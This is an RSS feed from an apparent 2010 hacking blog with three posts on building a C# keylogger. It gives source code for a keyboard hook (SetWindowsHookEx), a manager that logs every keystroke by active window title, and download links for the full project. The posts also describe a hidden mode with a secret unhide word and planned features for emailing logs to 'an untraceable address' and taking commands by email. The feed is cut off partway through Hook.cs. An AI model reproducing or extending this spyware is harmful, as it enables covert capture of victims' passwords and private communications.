<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Axino.net &#187; C#</title>
	<atom:link href="http://www.axino.net/category/programming/c-sharp/feed" rel="self" type="application/rss+xml" />
	<link>http://www.axino.net</link>
	<description>The other side of atom.</description>
	<lastBuildDate>Thu, 15 Jul 2010 12:45:00 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Extending the C# KeyLogger</title>
		<link>http://www.axino.net/programming/c-sharp/2010/06/extending-the-c-keylogger</link>
		<comments>http://www.axino.net/programming/c-sharp/2010/06/extending-the-c-keylogger#comments</comments>
		<pubDate>Wed, 02 Jun 2010 18:42:27 +0000</pubDate>
		<dc:creator>praetorian</dc:creator>
				<category><![CDATA[C#]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[keylogger]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[windows 7]]></category>
		<category><![CDATA[windows vista]]></category>
		<category><![CDATA[windows xp]]></category>

		<guid isPermaLink="false">http://www.axino.net/?p=984</guid>
		<description><![CDATA[I decided to extend arxleols keylogger a little. I hope to add a few more features in the future but for now I&#8217;m happy with the current version. The most significant changes are that I&#8217;ve ported it to C#4.0, moved all the important functionality into a separate assembly, made the whole thing more event driven [...]]]></description>
			<content:encoded><![CDATA[<p>I decided to extend arxleols keylogger a little. I hope to add a few more features in the future but for now I&#8217;m happy with the current version.</p>
<p>The most significant changes are that I&#8217;ve ported it to C#4.0, moved all the important functionality into a separate assembly, made the whole thing more event driven and gave the logging a new flavour. Some of the ideas I&#8217;ve had is to host the lib in a Windows Service, let it &#8220;phone  home&#8221; occassionally (via email, not network) and possibly self update.</p>
<p>I&#8217;ve successfully run this on a Windows Vista Home Basic x86 machine  (Dell Inspiron 1525). So  far looks like it works like a charm. I urge you to use this software for research or security purposes only.</p>
<p>Below are the changes I&#8217;ve made and a few of the features that I<em> might</em> add later on.</p>
<p><span id="more-984"></span></p>
<p><strong>Change log:</strong></p>
<ul>
<li>Ported to C# 4.0. Doesn&#8217;t leverage any 4.0 specific features but does use 3.5 specific property accessors (so it won&#8217;t compile in C# 2.0).</li>
<li>Created a new assembly to hold all the important functionality and called it khsvclib (for Key Hook Service Library). This assembly should be referenced by apps wanting keylogging.</li>
<li>Removed hardcoding of file paths &amp; put it in an app.config. This allows you to change the name of the actual logging file dynamically. It&#8217;s currently called Logs.krs by default but it could be called anything.</li>
<li>Created a new <code>FileType</code> enum to make referencing files in config easier.</li>
<li>Created a new <code>Utilities</code> helper class which (currently) returns either a file path or <code>FileStream</code> type based on the <code>FileType</code> passed to it.</li>
<li>Created a <code>Reader</code> type and supporting EventArgs/Delegate types which handles the reading of the keys from the Hook. The <code>Reader</code> has a few events which can be subscribed to. So far the only one that&#8217;s actually useful is the KeyPressed event.</li>
<li>Created a <code>WindowTitleHelper</code> and supporting EventArgs/Delegate types which check the title of the active window on each key press and will fire an <code>ActiveWindowTitleChanged</code> event if the window title has changed. This has the advantage that you can now group key strokes according to the window in which they were pressed (it ain&#8217;t any good logging something without knowing which page/app/window it was for).</li>
<li>Created a very basic &#8220;Logger&#8221; type which flushes out to a configured &#8220;FileType&#8221; path (from config).</li>
<li>Created a <code>KeyLoggerManager</code> which is basically a facade for the whole thing. It has 2 methods with no parameters &#8211; Start() and Stop().</li>
</ul>
<p><strong>Code:</strong></p>
<p>Here&#8217;s some of the more interesting code in the assembly. For the complete code download the khsvclib project.</p>
<p><strong>WindowTitleHelper</strong></p>
<p>The WindowTitleHelper also uses PInvoke to import the user32.dll assembly.  It has one public method &#8211; <code>CheckActiveWindowTitle()</code>. This compares what the window title was from the previous time the method was called to what the current active window title is. If the string differs, the <code>ActiveWindowTitleChanged</code> event is fired.</p>

<div class="wp_syntax"><div class="code"><pre class="csharp" style="font-family:monospace;"><span style="color: #008080; font-style: italic;">/* Credit to arxleol (www.axino.net) for the original keylogging
 * functionality.
 *
 * -- praetorian
 */</span>
<span style="color: #0600FF;">using</span> <span style="color: #008080;">System</span><span style="color: #008000;">;</span>
<span style="color: #0600FF;">using</span> <span style="color: #008080;">System.Collections.Generic</span><span style="color: #008000;">;</span>
<span style="color: #0600FF;">using</span> <span style="color: #008080;">System.Linq</span><span style="color: #008000;">;</span>
<span style="color: #0600FF;">using</span> <span style="color: #008080;">System.Text</span><span style="color: #008000;">;</span>
<span style="color: #0600FF;">using</span> <span style="color: #008080;">System.Runtime.InteropServices</span><span style="color: #008000;">;</span>
&nbsp;
<span style="color: #0600FF;">namespace</span> khsvclib
<span style="color: #000000;">&#123;</span>
    <span style="color: #008080; font-style: italic;">///</span>
    <span style="color: #008080; font-style: italic;">/// Helper class which checks the title of the current window</span>
    <span style="color: #008080; font-style: italic;">/// and fires an event when it changes.</span>
    <span style="color: #008080; font-style: italic;">///</span>
    <span style="color: #0600FF;">public</span> <span style="color: #FF0000;">class</span> WindowTitleHelper
    <span style="color: #000000;">&#123;</span>
        <span style="color: #008080;">#region imports</span>
&nbsp;
        <span style="color: #000000;">&#91;</span>DllImport<span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;user32.dll&quot;</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#93;</span>
        <span style="color: #0600FF;">static</span> <span style="color: #0600FF;">extern</span> IntPtr GetForegroundWindow<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
        <span style="color: #000000;">&#91;</span>DllImport<span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;user32.dll&quot;</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#93;</span>
        <span style="color: #0600FF;">static</span> <span style="color: #0600FF;">extern</span> <span style="color: #FF0000;">int</span> GetWindowText<span style="color: #000000;">&#40;</span>IntPtr hWnd, StringBuilder text, <span style="color: #FF0000;">int</span> count<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
        <span style="color: #008080;">#endregion </span>
&nbsp;
        <span style="color: #008080;">#region private fields</span>
&nbsp;
        <span style="color: #0600FF;">private</span> <span style="color: #FF0000;">string</span> currentWindowTitle<span style="color: #008000;">;</span>
&nbsp;
        <span style="color: #008080;">#endregion</span>
&nbsp;
        <span style="color: #008080;">#region ctor</span>
&nbsp;
        <span style="color: #0600FF;">public</span> WindowTitleHelper<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>
        <span style="color: #000000;">&#123;</span>
            currentWindowTitle <span style="color: #008000;">=</span> GetActiveWindowTitle<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
        <span style="color: #000000;">&#125;</span>
&nbsp;
        <span style="color: #008080;">#endregion</span>
&nbsp;
        <span style="color: #008080;">#region methods </span>
&nbsp;
        <span style="color: #0600FF;">public</span> <span style="color: #0600FF;">void</span> CheckActiveWindowTitle<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>
        <span style="color: #000000;">&#123;</span>
            <span style="color: #0600FF;">if</span> <span style="color: #000000;">&#40;</span>currentWindowTitle <span style="color: #008000;">!=</span> GetActiveWindowTitle<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#41;</span>
            <span style="color: #000000;">&#123;</span>
                currentWindowTitle <span style="color: #008000;">=</span> GetActiveWindowTitle<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
                OnActiveWindowTitleChanged<span style="color: #000000;">&#40;</span><span style="color: #008000;">new</span> WindowTitleHelperEventArgs<span style="color: #000000;">&#40;</span>GetActiveWindowTitle<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #000000;">&#125;</span>
        <span style="color: #000000;">&#125;</span>
&nbsp;
        <span style="color: #0600FF;">private</span> <span style="color: #FF0000;">string</span> GetActiveWindowTitle<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>
        <span style="color: #000000;">&#123;</span>
            <span style="color: #0600FF;">const</span> <span style="color: #FF0000;">int</span> nChars <span style="color: #008000;">=</span> <span style="color: #FF0000;">256</span><span style="color: #008000;">;</span>
            IntPtr handle <span style="color: #008000;">=</span> IntPtr.<span style="color: #0000FF;">Zero</span><span style="color: #008000;">;</span>
            StringBuilder Buff <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> StringBuilder<span style="color: #000000;">&#40;</span>nChars<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            handle <span style="color: #008000;">=</span> GetForegroundWindow<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
            <span style="color: #0600FF;">if</span> <span style="color: #000000;">&#40;</span>GetWindowText<span style="color: #000000;">&#40;</span>handle, Buff, nChars<span style="color: #000000;">&#41;</span> <span style="color: #008000;">&amp;</span>gt<span style="color: #008000;">;</span> <span style="color: #FF0000;">0</span><span style="color: #000000;">&#41;</span>
            <span style="color: #000000;">&#123;</span>
                <span style="color: #0600FF;">return</span> Buff.<span style="color: #0000FF;">ToString</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #000000;">&#125;</span>
            <span style="color: #0600FF;">return</span> null<span style="color: #008000;">;</span>
        <span style="color: #000000;">&#125;</span> 
&nbsp;
        <span style="color: #008080;">#endregion</span>
&nbsp;
        <span style="color: #008080;">#region events</span>
&nbsp;
        <span style="color: #0600FF;">public</span> <span style="color: #0600FF;">event</span> WindowTitleHelperEvent ActiveWindowTitleChanged<span style="color: #008000;">;</span>
&nbsp;
        <span style="color: #008080;">#endregion</span>
&nbsp;
        <span style="color: #008080;">#region event handlers</span>
&nbsp;
        <span style="color: #0600FF;">protected</span> <span style="color: #0600FF;">virtual</span> <span style="color: #0600FF;">void</span> OnActiveWindowTitleChanged<span style="color: #000000;">&#40;</span>WindowTitleHelperEventArgs e<span style="color: #000000;">&#41;</span>
        <span style="color: #000000;">&#123;</span>
            <span style="color: #0600FF;">if</span> <span style="color: #000000;">&#40;</span>ActiveWindowTitleChanged <span style="color: #008000;">!=</span> <span style="color: #0600FF;">null</span><span style="color: #000000;">&#41;</span>
            <span style="color: #000000;">&#123;</span>
                ActiveWindowTitleChanged<span style="color: #000000;">&#40;</span><span style="color: #0600FF;">this</span>, e<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #000000;">&#125;</span>
        <span style="color: #000000;">&#125;</span>
&nbsp;
        <span style="color: #008080;">#endregion</span>
    <span style="color: #000000;">&#125;</span>   
&nbsp;
<span style="color: #000000;">&#125;</span></pre></div></div>

<p><strong>KeyLoggerManager</strong><br />
The <code>KeyLoggerManager</code> provides a simple facade to interacting with the Hook. It provides two public methods which take no parameters &#8211; <code>Start()</code> and <code>Stop()</code>. It also provides access to the <code>Reader</code>, <code>WindowTitleHelper</code> and <code>Logger</code> types as properties. The <code>Hook</code> isn&#8217;t provided here as:<br />
a) it&#8217;s already a static class.<br />
b) the facade that the KeyLoggerManager provides is to abstract the hook implementation away.</p>
<p>Using the KeyLogger manager in code is really simple:</p>
<p><code>KeyLoggerManager manager = new KeyLoggerManager();<br />
manager.Start();</code></p>
<p>That&#8217;s it. That&#8217;s all you&#8217;d need. Everything else is pretty much configurable.</p>

<div class="wp_syntax"><div class="code"><pre class="csharp" style="font-family:monospace;"><span style="color: #008080; font-style: italic;">/* Credit to arxleol (www.axino.net) for the original keylogging
 * functionality.
 *
 * -- praetorian
 */</span>
<span style="color: #0600FF;">using</span> <span style="color: #008080;">System</span><span style="color: #008000;">;</span>
<span style="color: #0600FF;">using</span> <span style="color: #008080;">System.Collections.Generic</span><span style="color: #008000;">;</span>
<span style="color: #0600FF;">using</span> <span style="color: #008080;">System.Linq</span><span style="color: #008000;">;</span>
<span style="color: #0600FF;">using</span> <span style="color: #008080;">System.Text</span><span style="color: #008000;">;</span>
&nbsp;
<span style="color: #0600FF;">namespace</span> khsvclib
<span style="color: #000000;">&#123;</span>
    <span style="color: #008080; font-style: italic;">///</span>
    <span style="color: #008080; font-style: italic;">/// Facade class for KeyLogger.</span>
    <span style="color: #008080; font-style: italic;">///</span>
    <span style="color: #0600FF;">public</span> <span style="color: #FF0000;">class</span> KeyLoggerManager
    <span style="color: #000000;">&#123;</span>
        <span style="color: #008080;">#region properties </span>
&nbsp;
        <span style="color: #0600FF;">public</span> Reader Reader <span style="color: #000000;">&#123;</span> get<span style="color: #008000;">;</span> <span style="color: #0600FF;">private</span> set<span style="color: #008000;">;</span> <span style="color: #000000;">&#125;</span>
        <span style="color: #0600FF;">public</span> WindowTitleHelper WindowTitleHelper <span style="color: #000000;">&#123;</span> get<span style="color: #008000;">;</span> <span style="color: #0600FF;">private</span> set<span style="color: #008000;">;</span> <span style="color: #000000;">&#125;</span>
        <span style="color: #0600FF;">public</span> Logger Logger <span style="color: #000000;">&#123;</span> get<span style="color: #008000;">;</span> <span style="color: #0600FF;">private</span> set<span style="color: #008000;">;</span> <span style="color: #000000;">&#125;</span>
&nbsp;
        <span style="color: #008080;">#endregion</span>
&nbsp;
        <span style="color: #008080;">#region ctor</span>
&nbsp;
        <span style="color: #0600FF;">public</span> KeyLoggerManager<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>
        <span style="color: #000000;">&#123;</span>
            Reader <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> Reader<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            Reader.<span style="color: #0000FF;">KeyPressed</span> <span style="color: #008000;">+=</span> <span style="color: #008000;">new</span> ReaderEvent<span style="color: #000000;">&#40;</span>Reader_KeyPressed<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
            WindowTitleHelper <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> WindowTitleHelper<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            WindowTitleHelper.<span style="color: #0000FF;">ActiveWindowTitleChanged</span> <span style="color: #008000;">+=</span> <span style="color: #008000;">new</span> WindowTitleHelperEvent<span style="color: #000000;">&#40;</span>WindowTitleHelper_ActiveWindowTitleChanged<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
        <span style="color: #000000;">&#125;</span>
&nbsp;
        <span style="color: #008080;">#endregion</span>
&nbsp;
        <span style="color: #008080;">#region event handlers</span>
&nbsp;
        <span style="color: #0600FF;">void</span> Reader_KeyPressed<span style="color: #000000;">&#40;</span><span style="color: #FF0000;">object</span> sender, ReaderEventArgs e<span style="color: #000000;">&#41;</span>
        <span style="color: #000000;">&#123;</span>
            WindowTitleHelper.<span style="color: #0000FF;">CheckActiveWindowTitle</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            Logger.<span style="color: #0000FF;">Log</span><span style="color: #000000;">&#40;</span>FileType.<span style="color: #0000FF;">Logs</span>, e.<span style="color: #0000FF;">Log</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
        <span style="color: #000000;">&#125;</span>
&nbsp;
        <span style="color: #0600FF;">void</span> WindowTitleHelper_ActiveWindowTitleChanged<span style="color: #000000;">&#40;</span><span style="color: #FF0000;">object</span> sender, WindowTitleHelperEventArgs e<span style="color: #000000;">&#41;</span>
        <span style="color: #000000;">&#123;</span>
            StringBuilder builder <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> StringBuilder<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
            builder.<span style="color: #0000FF;">AppendFormat</span><span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;{0}{0}&quot;</span>, Environment.<span style="color: #0000FF;">NewLine</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            builder.<span style="color: #0000FF;">AppendFormat</span><span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;-------------------------------------------{0}&quot;</span>, Environment.<span style="color: #0000FF;">NewLine</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            builder.<span style="color: #0000FF;">AppendFormat</span><span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;New window title: {0}{1}&quot;</span>, e.<span style="color: #0000FF;">ActiveWindowTitle</span>, Environment.<span style="color: #0000FF;">NewLine</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            builder.<span style="color: #0000FF;">AppendFormat</span><span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;-------------------------------------------{0}&quot;</span>, Environment.<span style="color: #0000FF;">NewLine</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            Logger.<span style="color: #0000FF;">Log</span><span style="color: #000000;">&#40;</span>FileType.<span style="color: #0000FF;">Logs</span>, builder.<span style="color: #0000FF;">ToString</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
        <span style="color: #000000;">&#125;</span>
&nbsp;
        <span style="color: #008080;">#endregion</span>
&nbsp;
        <span style="color: #008080;">#region methods</span>
&nbsp;
        <span style="color: #0600FF;">public</span> <span style="color: #0600FF;">void</span> Start<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>
        <span style="color: #000000;">&#123;</span>
            Hook.<span style="color: #0000FF;">CreateHook</span><span style="color: #000000;">&#40;</span>Reader.<span style="color: #0000FF;">Read</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            Logger.<span style="color: #0000FF;">Log</span><span style="color: #000000;">&#40;</span>FileType.<span style="color: #0000FF;">Logs</span>,
                <span style="color: #FF0000;">string</span>.<span style="color: #0000FF;">Format</span><span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;{1}{0}: Hook created.{1}&quot;</span>, DateTime.<span style="color: #0000FF;">Now</span>, Environment.<span style="color: #0000FF;">NewLine</span><span style="color: #000000;">&#41;</span>
                <span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
        <span style="color: #000000;">&#125;</span>
&nbsp;
        <span style="color: #0600FF;">public</span> <span style="color: #0600FF;">void</span> Stop<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>
        <span style="color: #000000;">&#123;</span>
            Logger.<span style="color: #0000FF;">Log</span><span style="color: #000000;">&#40;</span>FileType.<span style="color: #0000FF;">Logs</span>,
                <span style="color: #FF0000;">string</span>.<span style="color: #0000FF;">Format</span><span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;{1}{0}: Hook destroyed.{1}&quot;</span>, DateTime.<span style="color: #0000FF;">Now</span>, Environment.<span style="color: #0000FF;">NewLine</span><span style="color: #000000;">&#41;</span>
                <span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            Reader.<span style="color: #0000FF;">KeyPressed</span> <span style="color: #008000;">-=</span> Reader_KeyPressed<span style="color: #008000;">;</span>
            Hook.<span style="color: #0000FF;">DestroyHook</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
        <span style="color: #000000;">&#125;</span>
&nbsp;
        <span style="color: #008080;">#endregion</span>
&nbsp;
    <span style="color: #000000;">&#125;</span>
<span style="color: #000000;">&#125;</span></pre></div></div>

<p><strong>Future releases</strong></p>
<p>These are a few of the changes that I&#8217;d like to make in future. If I actually get around to writing these I&#8217;ll post them here.</p>
<ul>
<li>Improve Logger type to use a Factory/Strategy pattern. The idea being that you can have &#8220;raw&#8221; logs (which log everything) and &#8220;clean&#8221; logs which only log the keys as the text was displayed e.g. it would log &#8220;factory pattern&#8221; (clean log) instead of &#8220;factt&lt;backspace&gt;ory&lt;space&gt;pattr&lt;backspace&gt;ern&#8221;  (raw log).</li>
<li>Add a new type/facade to allow the logged files to be mailed to an untraceable address at a given time (or set of times) everyday.</li>
<li>Add a new type and expression syntax to allow the app to receive commands from email.</li>
<li>Add configurable triggers which will switch the logger on/off depending on the ActiveWindowTitle.</li>
</ul>
<p>I hope you find these changes useful. Download assembly zip <a href="http://www.speedyshare.com/files/22759589/khsvclib.zip">here</a>.<strong>Similar Posts:</strong>
<ul class="similar-posts">
<li><a href="http://www.axino.net/tutorial/2009/05/keylogger-in-c-hooking-and-unhooking-keyboard-hook" rel="bookmark" title="Thursday 07.05.2009">Keylogger in C# :: Hooking and unhooking keyboard hook</a></li>
<li><a href="http://www.axino.net/hack/2009/11/finished-keylogger-in-c" rel="bookmark" title="Sunday 01.11.2009">Finished keylogger in C#</a></li>
<li><a href="http://www.axino.net/tutorial/2010/01/basic-web-hacking-17-java-decompiler" rel="bookmark" title="Tuesday 26.01.2010">Basic Web Hacking 17 :: java decompiler</a></li>
<li><a href="http://www.axino.net/tutorial/2009/02/keylogger-in-c-introduction" rel="bookmark" title="Friday 06.02.2009">Keylogger in C# :: Introduction</a></li>
<li><a href="http://www.axino.net/tutorial/2009/10/keylogger-in-c-detecting-pressed-keys" rel="bookmark" title="Monday 26.10.2009">Keylogger in C# :: Detecting pressed keys</a></li>
</ul>
<p><!-- Similar Posts took 5.894 ms --></p>
 <img src="http://www.axino.net/wordpress/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=984" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://www.axino.net/programming/c-sharp/2010/06/extending-the-c-keylogger/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Keylogger in C# :: Complete project</title>
		<link>http://www.axino.net/hack/2009/12/keylogger-in-c-complete-project</link>
		<comments>http://www.axino.net/hack/2009/12/keylogger-in-c-complete-project#comments</comments>
		<pubDate>Fri, 04 Dec 2009 07:22:58 +0000</pubDate>
		<dc:creator>Arxleol</dc:creator>
				<category><![CDATA[C#]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[keylogger]]></category>
		<category><![CDATA[programs]]></category>
		<category><![CDATA[visual studio]]></category>
		<category><![CDATA[windows 7]]></category>
		<category><![CDATA[windows vista]]></category>
		<category><![CDATA[windows xp]]></category>

		<guid isPermaLink="false">http://www.axino.net/?p=667</guid>
		<description><![CDATA[Some of you weren&#8217;t able to compile final source code. Errors were usually because you haven&#8217;t either created files or haven&#8217;t placed initial values in them. One might consider this as bug in the program because I should created code to check whether files exist or not but then in the end you could add [...]]]></description>
			<content:encoded><![CDATA[<p>Some of you weren&#8217;t able to compile final source code. Errors were usually because you haven&#8217;t either created files or haven&#8217;t placed initial values in them. One might consider this as bug in the program because I should created code to check whether files exist or not but then in the end you could add it.</p>
<p><span id="more-667"></span></p>
<p>Secret word that will enable you to see keylogger is <strong>test</strong>.</p>
<p>And keyword that shows alert is tst, You may change any of these words.</p>
<p><a href="http://www.speedyshare.com/files/19613246/KeyHookSucks.rar">DOWNLOAD KEYLOGGER</a><strong>Similar Posts:</strong>
<ul class="similar-posts">
<li><a href="http://www.axino.net/hack/2009/10/keylogger-in-c-hiding-unhiding" rel="bookmark" title="Thursday 29.10.2009">Keylogger in C# :: Hiding &#038;&#038; unhiding</a></li>
<li><a href="http://www.axino.net/hack/2009/11/keylogger-in-c-sending-emails" rel="bookmark" title="Sunday 01.11.2009">Keylogger in C# :: sending emails</a></li>
<li><a href="http://www.axino.net/programming/c-sharp/2010/06/extending-the-c-keylogger" rel="bookmark" title="Wednesday 02.06.2010">Extending the C# KeyLogger</a></li>
<li><a href="http://www.axino.net/tutorial/2010/07/javascript-challenge-15-nag-a-ram" rel="bookmark" title="Sunday 04.07.2010">JavaScript Challenge 15 :: nag a ram</a></li>
<li><a href="http://www.axino.net/tutorial/2009/11/basic-web-hacking-9-null-poison-byte" rel="bookmark" title="Tuesday 17.11.2009">Basic web hacking 9 :: null poison byte</a></li>
</ul>
<p><!-- Similar Posts took 4.755 ms --></p>
 <img src="http://www.axino.net/wordpress/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=667" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://www.axino.net/hack/2009/12/keylogger-in-c-complete-project/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Finished keylogger in C#</title>
		<link>http://www.axino.net/hack/2009/11/finished-keylogger-in-c</link>
		<comments>http://www.axino.net/hack/2009/11/finished-keylogger-in-c#comments</comments>
		<pubDate>Sun, 01 Nov 2009 03:34:59 +0000</pubDate>
		<dc:creator>Arxleol</dc:creator>
				<category><![CDATA[C#]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[how to]]></category>
		<category><![CDATA[keylogger]]></category>
		<category><![CDATA[programs]]></category>
		<category><![CDATA[windows 7]]></category>
		<category><![CDATA[windows vista]]></category>
		<category><![CDATA[windows xp]]></category>

		<guid isPermaLink="false">http://www.axino.net/?p=558</guid>
		<description><![CDATA[OK we have finally reached till the end of road on how to write keylogger in c#. Here are all classes you require and all previous tutorials merged together. Some things were not explained because I think that it is common knowledge or will be explained in some future tutorials.Hook for hooking to keyboard and [...]]]></description>
			<content:encoded><![CDATA[<p>OK we have finally reached till the end of road on how to write keylogger in c#. Here are all classes you require and all previous tutorials merged together. Some things were not explained because I think that it is common knowledge or will be explained in some future tutorials.<span id="more-558"></span>Hook for hooking to keyboard and listening for keys. <strong>Hook.cs</strong></p>

<div class="wp_syntax"><div class="code"><pre class="csharp" style="font-family:monospace;"><span style="color: #0600FF;">using</span> <span style="color: #008080;">System</span><span style="color: #008000;">;</span>
<span style="color: #0600FF;">using</span> <span style="color: #008080;">System.Diagnostics</span><span style="color: #008000;">;</span>
<span style="color: #008080; font-style: italic;">//using System.Windows.Forms;</span>
<span style="color: #0600FF;">using</span> <span style="color: #008080;">System.Runtime.InteropServices</span><span style="color: #008000;">;</span>
&nbsp;
<span style="color: #0600FF;">namespace</span> TestKeybdHook
<span style="color: #000000;">&#123;</span>
    <span style="color: #0600FF;">public</span> <span style="color: #0600FF;">static</span> <span style="color: #FF0000;">class</span> Hook
    <span style="color: #000000;">&#123;</span>
        <span style="color: #008080; font-style: italic;">//This class is based lightly off of the class found at the following website</span>
&nbsp;
        <span style="color: #008080; font-style: italic;">//http://blogs.msdn.com/toub/archive/2006/05/03/589423.aspx</span>
&nbsp;
        <span style="color: #0600FF;">private</span> <span style="color: #0600FF;">static</span> <span style="color: #FF0000;">class</span> API
        <span style="color: #000000;">&#123;</span>
            <span style="color: #000000;">&#91;</span>DllImport<span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;user32.dll&quot;</span>, CharSet <span style="color: #008000;">=</span> CharSet.<span style="color: #0600FF;">Auto</span>, SetLastError <span style="color: #008000;">=</span> <span style="color: #0600FF;">true</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#93;</span>
            <span style="color: #0600FF;">public</span> <span style="color: #0600FF;">static</span> <span style="color: #0600FF;">extern</span> IntPtr SetWindowsHookEx<span style="color: #000000;">&#40;</span>
                <span style="color: #FF0000;">int</span> idHook,
                HookDel lpfn,
                IntPtr hMod,
                <span style="color: #FF0000;">uint</span> dwThreadId<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
            <span style="color: #000000;">&#91;</span>DllImport<span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;user32.dll&quot;</span>, CharSet <span style="color: #008000;">=</span> CharSet.<span style="color: #0600FF;">Auto</span>, SetLastError <span style="color: #008000;">=</span> <span style="color: #0600FF;">true</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#93;</span>
            <span style="color: #000000;">&#91;</span><span style="color: #0600FF;">return</span><span style="color: #008000;">:</span> MarshalAs<span style="color: #000000;">&#40;</span>UnmanagedType.<span style="color: #FF0000;">Bool</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#93;</span>
            <span style="color: #0600FF;">public</span> <span style="color: #0600FF;">static</span> <span style="color: #0600FF;">extern</span> <span style="color: #FF0000;">bool</span> UnhookWindowsHookEx<span style="color: #000000;">&#40;</span>
                IntPtr hhk<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
            <span style="color: #000000;">&#91;</span>DllImport<span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;user32.dll&quot;</span>, CharSet <span style="color: #008000;">=</span> CharSet.<span style="color: #0600FF;">Auto</span>, SetLastError <span style="color: #008000;">=</span> <span style="color: #0600FF;">true</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#93;</span>
            <span style="color: #0600FF;">public</span> <span style="color: #0600FF;">static</span> <span style="color: #0600FF;">extern</span> IntPtr CallNextHookEx<span style="color: #000000;">&#40;</span>
                IntPtr hhk,
                <span style="color: #FF0000;">int</span> nCode,
                IntPtr
                wParam,
                IntPtr lParam<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
